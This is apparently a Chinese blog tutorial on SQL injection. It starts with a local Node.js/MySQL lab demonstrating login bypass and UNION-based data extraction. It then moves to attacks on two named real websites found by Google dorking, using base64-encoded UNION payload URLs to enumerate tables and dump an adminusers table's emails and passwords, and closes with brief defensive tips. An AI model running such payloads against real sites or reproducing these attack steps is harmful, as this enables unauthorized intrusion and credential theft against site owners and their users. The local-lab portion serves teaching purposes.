代碼倉庫
本文所用代碼的代碼庫地址:
了解SQL注入
定義
SQL注入攻擊(SQL Injection),簡稱注入攻擊,是Web開發中最常見的一種安全漏洞。可以用它來從數據庫獲取敏感信息,或者利用數據庫的特性執行添加用戶,導出文件等一系列惡意操作,甚至有可能獲取數據庫乃至系統用戶最高權限。
原理
造成SQL注入的原因是因為程序沒有有效過濾用戶的輸入,使攻擊者成功的向服務器提交惡意的SQL查詢代碼,程序在接收后錯誤的將攻擊者的輸入作為查詢語句的一部分執行,導致原始的查詢邏輯被改變,額外的執行了攻擊者精心構造的惡意代碼。
從本質上來說,SQL注入和XSS注入很相似,都是因為沒有做好對用戶的輸入控制而導致的錯誤。
環境准備
- 安裝PostgresSQL 和 Mysql:
sudo apt-get update
sudo apt-get install postgresql pgadmin3
sudo pg_createcluster -p 5432 -u postgres 9.3 virusTest --start
sudo netstat -aWn --programs | grep postgres
- 安裝Mysql
sudo apt-get update
sudo apt-get install mysql-server
- 創建數據庫
sudo su
su postgres
psql
create database virustest
- 在Ubuntu上安裝NodeJs
wget -t https://nodejs.org/dist/v6.9.1/node-v6.9.1-linux-x64.tar.xz
tar -xf node-v6.9.1-linux-x64.tar.xz
cd node-v6.9.1-linux-x64.tar.xz/bin
ln -s ***** /usr/local/bin/node
ln -s ***** /usr/local/bin/npm
經典注入:' or 1=1#
准備工作
- 編寫
models/index.js
、models/migrate.js
、models/User.js
創建如下圖所示的User表:
account | password |
---|---|
test0 | 1234560 |
test1 | 1234561 |
test2 | 1234562 |
- 執行
node models/migrate
初始化數據庫 - 編寫
first/index.js
定義簡單的服務器 - 編寫
views/index.html
定義簡單的登錄頁面 - 安裝所有依賴
npm install
實踐
數據庫初始化完成后,我們來開心的模擬一次經典的登錄注入操作 :使用' or 1=1#
繞過用戶名和密碼驗證直接登錄。
- 啟動服務器
node first/index.js
,訪問http://localhost:5000/
看到如下網頁

-
輸入 account :
test0
, password :1234560
,可以發現登錄成功 -
輸入 account :
test0
, password :wrongPassword
,可以發現登錄失敗 -
輸入 account :
' or 1=1#
, password :test
,可以發現登錄成功!!!
我們來看看后台代碼中對用戶輸入的用戶名和密碼進行驗證的的SQL語句:
`select * from Users where account ='${account}' and password='${password}'`
我們將account:' or 1=1#
,password:test
的值帶入,這條語句變成了:
select * from users where account = '' or 1=1 #' and password='test'
可以看到:
- SQL的Where子句就變成了永真,因為
account='' or 1 = 1
永遠成立。 #
后面的語句全部變成了注釋(mysql可以用#號來注釋代碼),不會影響代碼正確運行,服務器不會返回500。
這個注入能夠成功的原因就在於——靈活使用'
字符和#
字符。
Union子句的妙用
准備工作
- 編寫models/Article和models/migrate.js定義如下圖所示的Articles表:

沒有這個文章
" }; // debug(data); yield ctx.render("index.html", data); }) ``` 此路由函數會先接收GET參數傳來的id,使用SQL對id進行查詢,將查詢到的數據渲染到html返回給瀏覽器端。實踐
- 啟動服務器
node first/index.js
,訪問http://localhost:3030/article?id=1
,可以看到如下圖所示的界面:




- 訪問
http://localhost:3030/article?id=3 and 1=1 union select 1,2,3,4,5
,我們發現頁面展示的還是id=3的文章,查看路由處理的代碼:


所以頁面的返回結果是:

我們可以看到我們傳給后端的2,3分別在這里被展示在了頁面上。
- 首先,我們要知道數據庫的版本和數據表的名稱,訪問以下網址:
http://localhost:3030/article?id=3 and 1=1 union select 10000,version(),database(),4,5 order by id DESC
我們就可以看到數據庫的版本和數據表的名稱:

- 知道了數據庫的名稱后,嘗試得到我們所需要的表的名稱,將訪問的網址改成:
http://localhost:3030/article?id=3 and 1=1 union select 10000,2,TABLE_NAME,4,5 FROM INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA=virustest order by rand() DESC
其中的order by rand()
可以幫助我們隨機地看到數據庫中有哪些表,我們多訪問幾次,就可以看到有一個Users表:

- 知道了數據表的名稱后,就可以嘗試着得到表中列的名稱,將訪問網址改成:
http://localhost:3030/article?id=3 and 1=1 union SELECT 10000,COLUMN_NAME,3,4,5 FROM information_schema.columns where TABLE_SCHEMA='virustest' and TABLE_NAME='Users' order by rand()
由於有order by rand()
,多訪問幾次,我們就可以陸續看到所有的列名,有兩個字段我們比較感興趣:


- 知道了數據表的列名后,就可以開始拖庫了,訪問以下網址:
http://localhost:3030/article?id=3 and 1=1 union select 1,account,password,4,5 from Users order by rand() DESC
訪問結果如下圖所示:

實戰
搜索引擎的使用
使用Google搜索inurl:.php?id=MTM=
,這里inurl指的是在url內有后面字符串的網站,后面的id=MTM=是指base64加密后的id=13,表明網站對URL進行了base64處理。Google查詢出來結果如下:

我自己經過刪選測試,選取了兩個網站:
- http://www.comresearch.org/serviceDetails.php?id=MTMgYW5kIDE9MSB1bmlvbiBzZWxlY3QgMSx2ZXJzaW9uKCksZGF0YWJhc2UoKSw0LDUsNiw3LDgsOSwxMCwxMSwxMiwxMywxNCwxNQ==
- http://www.zaaffran.com/testimonials.php?id=MTM= 一家印度餐廳主頁
本次就對這兩個網站進行破解,先回顧一下我們上次自己研究的幾個破解步驟:
- 測試能否被注入
- 通過union測表段數目
- 通過mysql函數得到數據庫的名稱
- 通過INFORMATION_SCHEMA查詢表的名稱和表內行的名稱
- 獲取想要的數據
我們借助http://www1.tc711.com/tool/BASE64.htm這個base64工具進行base64加解密
第一個網站的SQL注入
- 測試是否能被注入,訪問http://www.comresearch.org/serviceDetails.php?id=MTMgYW5kIDE9Mg==,base64串的含義是
id=13 and 1=2
,返回的結果如下圖,表明是此網站可以注入的




第二個網站的SQL注入
- 測試能否被注入,訪問http://www.zaaffran.com/testimonials.php?id=MTQgYW5kIDE9Mg==,base64串的含義是
id=13 and 1=2
,結果如下,可以發現頁面沒有顯示,證明是可以注入的

- 通過union測表的列數,從1到30挨個測試,最后得知列數是7,訪問http://www.zaaffran.com/testimonials.php?id=MTQgYW5kIDE9MiB1bmlvbiBzZWxlY3QgMSwyLDMsNCw1LDYsNw==,結果如下圖所示,可以看到有三個顯示位

- 通過mysql函數得到數據庫的名稱,訪問http://www.zaaffran.com/testimonials.php?id=MTQgYW5kIDE9MiB1bmlvbiBzZWxlY3QgMSxkYXRhYmFzZSgpLHZlcnNpb24oKSw0LDUsNiw3,base64串的含義是
id=14 and 1=2 union select 1,database(),version(),4,5,6,7
,訪問結果如下圖,得到數據庫的名稱是zaaffran_zaaffran,數據庫版本是5.5.2

- 通過INFORMATION_SCHEMA查詢表的名稱和表內行的名稱,訪問http://www.zaaffran.com/testimonials.php?id=MTQgYW5kIDE9MiB1bmlvbiBzZWxlY3QgMSwyLHRhYmxlX25hbWUsNCw1LDYsNyBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS50YWJsZXM=,base64串的含義是
id=14 and 1=2 union select 1,2,table_name,4,5,6,7 from information_schema.tables
,可以看到五個數據表:

- 由於這里只顯示了五張表,而且都是系統自帶的表,對我來說沒有什么用處,於是嘗試了使用order by table_type,訪問http://www.zaaffran.com/testimonials.php?id=MTQgYW5kIDE9MiB1bmlvbiBzZWxlY3QgMSwyLHRhYmxlX25hbWUsNCw1LDYsNyBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS50YWJsZXMgb3JkZXIgYnkgdGFibGVfdHlwZQ==,base64串的含義是
id=14 and 1=2 union select 1,2,table_name,4,5,6,7 from information_schema.tables order by table_type

- 訪問http://www.zaaffran.com/testimonials.php?id=MTQgYW5kIDE9MiB1bmlvbiBzZWxlY3QgMSwyLHRhYmxlX25hbWUsNCw1LDYsNyBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS50YWJsZXMgb3JkZXIgYnkgMSM=,base64串含義是
id=14 and 1=2 union select 1,2,table_name,4,5,6,7 from information_schema.tables order by 1#
,這次顯示結果如下,成功了!

- 同時我們搜索到了adminusers表這個敏感的表,我決定對這個表進行查詢,訪問http://www.zaaffran.com/testimonials.php?id=MTQgYW5kIDE9MiB1bmlvbiBzZWxlY3QgMSwyLGNvbHVtbl9uYW1lLDQsNSw2LDcgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEuY29sdW1ucyB3aGVyZSB0YWJsZV9uYW1lPSdhZG1pbnVzZXJzJyBvcmRlciBieSAxIw==,base64含義是
14 and 1=2 union select 1,2,column_name,4,5,6,7 from information_schema.columns where table_name='adminusers' order by 1#
,可以看到如下圖所有的表段

- 獲取想要的數據,訪問http://www.zaaffran.com/testimonials.php?id=MTQgYW5kIDE9MiB1bmlvbiBzZWxlY3QgMSwyLFVzZXJFbWFpbCxVc2VyUGFzc3dvcmQsNSw2LDcgZnJvbSBhZG1pbnVzZXJzIw==,base64串含義是
14 and 1=2 union select 1,2,UserEmail,UserPassword,5,6,7 from adminusers#
,可以看到adminusers表里面的所有數據

總結
我們進行了兩次對互聯網網站的SQL注入,第一次不是很成功,第三次好歹是拿到數據了,嘗試了一下擴大戰果,select user,password from mysql.user
,失敗= - =,估計是沒有權限。select hex(load_file())的方法也是失敗,畢竟mysql版本是5.5,安全級別較高,想要load_file()還是很難的。
通過以上的實踐,我們可以總結出一些防范SQL注入的方法:
- 限制權限,單獨搞一個數據庫和用戶暴露給外界,把查詢的范圍和權限限制死,你就算可以注入也然並卵,數據沒有用啊!
- 直接過濾掉union或者select,不允許傳的參數里面帶有這個(360的做法)
在Restful API的時代,開發者在開發一個項目的時經常用到類似於id=?或者title=?這樣的GET參數查詢,后端通信可能會有很多這樣的漏洞,而這樣的漏洞造成的后果往往是災難性的。開發者尤其是后端開發者一定要注意哦!